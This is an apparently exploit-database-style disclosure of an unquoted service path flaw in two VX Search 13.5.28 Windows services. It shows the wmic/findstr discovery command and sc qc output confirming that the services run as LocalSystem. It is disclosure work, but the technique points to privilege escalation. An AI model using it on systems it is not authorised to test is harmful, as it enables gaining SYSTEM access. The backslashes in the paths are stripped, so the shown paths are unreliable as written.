Authored by Brian Rodriguez

VX Search version 13.5.28 suffers from an unquoted service path vulnerability.

# Exploit Title: VX Search 13.5.28 - 'Multiple' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 16-06-2021
# Vendor Homepage: https://www.vxsearch.com
# Software Links:
# https://www.vxsearch.com/setups_x64/vxsearchsrv_setup_v13.5.28_x64.exe
# https://www.vxsearch.com/setups_x64/vxsearchent_setup_v13.5.28_x64.exe
# Tested Version: 13.5.28
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise 64 bits

# Step to discover Unquoted Service Path:

C:>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:windows" |findstr /i /v """

VX Search Server VX Search Server C:Program FilesVX Search
Serverbinvxsrchs.exe Auto
VX Search Enterprise VX Search Enterprise C:Program FilesVX Search
Enterprisebinvxsrchs.exe Auto

C:>sc qc "VX Search Server"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: VX Search Server
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 0 IGNORE
NOMBRE_RUTA_BINARIO: C:Program FilesVX Search
Serverbinvxsrchs.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : VX Search Server
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem

C:>sc qc "VX Search Enterprise"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: VX Search Enterprise
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 0 IGNORE
NOMBRE_RUTA_BINARIO: C:Program FilesVX Search
Enterprisebinvxsrchs.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : VX Search Enterprise
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem